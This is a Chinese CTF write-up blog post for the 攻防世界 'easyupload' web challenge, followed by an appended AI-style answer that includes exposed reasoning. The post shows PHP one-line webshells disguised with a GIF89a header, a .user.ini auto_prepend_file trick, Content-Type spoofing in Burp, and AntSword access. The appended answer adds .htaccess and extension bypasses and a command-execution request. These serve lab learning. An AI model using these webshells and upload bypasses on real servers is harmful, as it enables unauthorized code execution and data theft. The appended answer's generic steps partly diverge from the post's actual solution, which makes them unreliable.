攻防世界—easyupload

  • 2023.6.10 又试了一下 他好像会检测php字段,所以一开始的aaa.jpg怎么也传不上去,用a.jpg那种就可以了

在这里插入图片描述
在这里插入图片描述

  • 根据题目和页面我们可以猜到这应该是一个利用文件上传漏洞,利用一句话木马来获取服务器上保存的flag
  • 保险起见右键查看源代码
    在这里插入图片描述
  • 可以发现毫无用处
  • 那么我们接下来开始试一下上传一句话木马
  • 上传eval.php
<?php @eval($_REQUEST['a']); ?>

在这里插入图片描述

  • 可以看出他是有检测机制的,那我们再试试把拓展名改成eval.jpg
    在这里插入图片描述
  • 依旧不行,那我们再试着给他添加一个文件头,看看文件包含漏洞可不可以实现
GIF89a
<?php @eval($_REQUEST['a']); ?>

在这里插入图片描述

  • 那我们打开burp,修改他的Content-Type字段为jpg
    在这里插入图片描述
    在这里插入图片描述
  • 还是不行,那么,就只好去baidu了
  • 然后我就搜到了一个东西叫做.user.ini,具体啥用呢,点这里看原文章
  • .user.ini是一个很好用的漏洞,只要是以fastcgi运行的php都可以用这个方法。
  • 我对于这个ini的理解就是,他能帮我执行我写在他“auto_prepend_file=”后面的文件,不会被干掉。
  • 那么我们就在这道题里试一下。
  • 先写一个.user.ini文件
GIF89a                  
auto_prepend_file=eval.jpg
  • 然后我们上传他试试,不要忘记用不然burp修改他的content-type为image/jpg
    在这里插入图片描述在这里插入图片描述
  • 非常开心的发现上传成功了
  • 我们再试着上传eval.jpg,发现依旧不成功,很困惑。然后我又去baidu了一下,得到了一个新木马,命名为a.jpg,记得修改前面.user.ini中的文件名!!!
GIF89a
<?=eval($_POST['cmd']);?>

在这里插入图片描述

  • 成功了!
  • 然后拿出我们的中国蚁剑(百度一下安装使用教程,GitHub上下载)。
  • F12查看一下文件被上传的哪里去了
    在这里插入图片描述
  • 然后右键添加数据,输入地址和密码就可以连到他了
    在这里插入图片描述
  • 点击左上角添加后双击打开,然后再找到根目录,就能找到一个文件叫flag,右键下载就可以了

知识点:文件上传漏洞

<think>嗯,用户让我介绍一下攻防世界easyupload题目的解析。首先,我需要回忆一下这个题目的基本情况。攻防世界的题目通常涉及CTF中的Web安全,特别是文件上传漏洞。题目名字是easyupload,可能考察的是绕过文件上传限制的技巧。 首先,我应该确定用户的需求。他们可能正在尝试解决这个题目,但遇到了困难,需要一步步的指导。用户可能已经尝试过直接上传webshell,但被服务器检测到了,所以需要知道如何绕过防护措施。 接下来,我需要分解解题步骤。通常,这类题目常见的绕过方法包括修改文件类型、更改扩展名、使用特殊格式(如.htaccess)或者利用服务器解析漏洞。比如,服务器可能检查了Content-Type,或者文件后缀,或者检查了文件头。 然后,考虑可能的防御机制。比如,服务器可能只允许上传图片文件,如jpg、png,但检查不严格。这时候可以尝试上传一个带有图片马的文件,或者利用服务器配置错误,比如如果服务器使用Apache,可以上传.htaccess文件来允许执行特定扩展名的文件。 另外,可能遇到的陷阱是,虽然上传了php文件,但服务器将其重命名,或者无法直接访问上传后的路径。这时候需要找到上传后的文件路径,或者利用解析漏洞,比如上传php后缀的文件,但服务器可能将其解析为其他类型,或者需要结合其他漏洞。 可能还需要检查前端验证。有时候,上传功能在前端用JavaScript做了验证,这时候可以禁用JS或修改前端代码来绕过。但题目名为easyupload,可能前端没有太复杂的验证,主要还是后端检查。 另外,Content-Type的验证。如果上传php文件,Content-Type可能是application/octet-stream,而服务器可能只允许image/jpeg或image/png。这时候需要修改Content-Type为允许的类型,比如image/jpeg,同时文件内容为webshell。 还有可能检查文件头,比如GIF的GIF89a,PNG的‰PNG,JPEG的ÿØÿà。这时候可以在php文件开头添加对应的文件头,欺骗服务器认为这是图片文件。 然后,上传后的文件路径可能需要猜测,常见的路径是/upload/,或者返回的信息中包含路径。或者需要结合目录遍历漏洞,比如在上传时文件名使用../来改变存储路径。 还有可能服务器将上传的文件保存在非web可访问的目录,这时候可能需要其他漏洞,比如文件包含,配合上传的文件来执行代码。 总结起来,解决这个题目的步骤可能是: 1. 尝试上传一个普通的php文件,观察返回的错误信息,确定服务器检查了什么。 2. 如果失败,尝试修改Content-Type为image/jpeg,同时保留php代码。 3. 如果仍然不行,尝试在php文件前添加图片的文件头,比如GIF89a。 4. 如果扩展名被检测,尝试使用其他后缀,比如.phtml, .php5, .phar等,或者大小写绕过,比如.PHp。 5. 如果服务器使用黑名单,可能允许上传.htaccess文件,设置AddType application/x-httpd-php .abc,然后上传.abc后缀的webshell。 6. 上传成功后,找到文件路径,访问并执行命令。 可能需要结合具体的题目环境,比如是否返回上传后的路径,或者是否有文件包含漏洞。例如,题目easyupload可能只需要正确绕过MIME类型和扩展名检查,上传一个webshell,然后访问上传的文件执行命令。 另外,可能需要使用Burp Suite等工具拦截上传请求,修改相关参数,如文件名、Content-Type等,然后发送到服务器测试。 比如,一个可能的步骤是: - 使用Burp拦截上传请求,将文件名改为shell.php,Content-Type改为image/jpeg,然后发送,看是否成功。 - 如果失败,尝试将文件名改为shell.php.jpg,或者shell.jpg.php,看是否被解析为php。 - 或者上传.htaccess文件,内容为AddType application/x-httpd-php .jpg,这样所有.jpg文件都会被当作php执行,然后上传一个包含webshell的jpg文件。 - 如果.htaccess被禁止上传,可能需要使用其他方法。 此外,常见的webshell代码是<?php @eval($_POST['cmd']);?>,但有时候会被检测到,可以尝试使用短标签<?= `$_GET['cmd']`; ?>或者其他混淆方式。 在测试过程中,需要注意服务器的响应,比如返回的文件路径、错误信息,这些都可能提示下一步的操作。例如,上传成功后的页面可能显示文件的存储路径,或者文件名,从而构造访问URL。 可能遇到的困难是,即使上传成功,但无法执行,这时候需要检查文件权限,或者服务器配置。如果题目环境正确,应该能够通过正确的方法绕过所有检查。 总结,解题的关键点在于识别服务器的过滤机制,并找到合适的绕过方法。对于easyupload这样的题目,可能只需要修改Content-Type和文件后缀即可,或者使用.htaccess文件。需要一步步测试,观察服务器的反应,调整攻击向量。</think>### 攻防世界 **easyupload** 题目解析 #### 题目类型 - **Web安全**:文件上传漏洞利用,绕过服务器限制上传恶意文件。 --- #### 解题思路 1. **目标分析** 题目要求上传一个文件到服务器,并触发恶意代码执行(如获取flag)。常见限制可能包括: - 文件类型检查(如仅允许图片) - 扩展名黑名单(如禁止 `.php`) - 内容检测(如检查文件头或敏感代码) 2. **关键突破口** - **绕过扩展名检查**:尝试上传 `.php5`, `.phtml`, `.phar` 等非标准PHP扩展名。 - **伪造文件类型**:修改 HTTP 请求中的 `Content-Type` 为 `image/jpeg` 或 `image/png`。 - **文件头欺骗**:在恶意代码前添加图片文件头(如 `GIF89a`)。 - **.htaccess 攻击**:上传 `.htaccess` 文件,强制将特定扩展名解析为 PHP。 --- #### 详细步骤 ##### 步骤1:尝试直接上传 PHP 文件 1. 编写一个简单 Webshell(如 `<?php @eval($_POST["cmd"]);?>`),保存为 `shell.php`。 2. 上传文件,观察服务器返回的错误: - 若提示 **“文件类型不允许”**,需绕过 `Content-Type` 检查。 - 若提示 **“扩展名不合法”**,需修改文件后缀。 ##### 步骤2:绕过文件类型检查 1. 使用 Burp Suite 拦截上传请求。 2. 修改 `Content-Type` 为 `image/jpeg`,发送请求。 ```http POST /upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary=WebKitFormBoundary... --WebKitFormBoundary... Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/jpeg # 修改此处 ``` ##### 步骤3:绕过扩展名检查 1. 尝试修改文件后缀为允许的格式,如: - `shell.php.jpg`(利用解析漏洞) - `shell.phtml`(部分服务器默认解析) - `shell.php5`(旧版 PHP 配置可能允许) ##### 步骤4:使用 .htaccess 攻击 1. 上传 `.htaccess` 文件,内容为: ```apache AddType application/x-httpd-php .abc # 将 .abc 扩展名解析为 PHP ``` 2. 上传 Webshell 文件并重命名为 `shell.abc`,触发解析。 ##### 步骤5:验证上传结果 1. 访问上传后的文件路径(如 `http://target.com/uploads/shell.php`)。 2. 使用工具(如 Postman)发送 POST 请求执行命令: ```http POST /uploads/shell.php HTTP/1.1 ... cmd=system("cat /flag"); ``` --- #### 常见错误与解决方案 1. **文件被重命名** - 尝试上传纯图片文件,观察服务器返回的文件名规律(如时间戳命名)。 2. **内容检测绕过** - 在 Webshell 前添加图片文件头(如 `GIF89a`),伪装成图片。 - 使用短标签 `<?=` 替代 `<?php`。 --- #### 总结 通过组合以下方法可成功解题: 1. 伪造 `Content-Type` 为图片类型。 2. 利用 `.htaccess` 强制解析特定扩展名。 3. 上传带有图片头的 Webshell 绕过内容检测。 实际操作中需结合服务器返回信息动态调整攻击方式。
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Unagi -_-

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值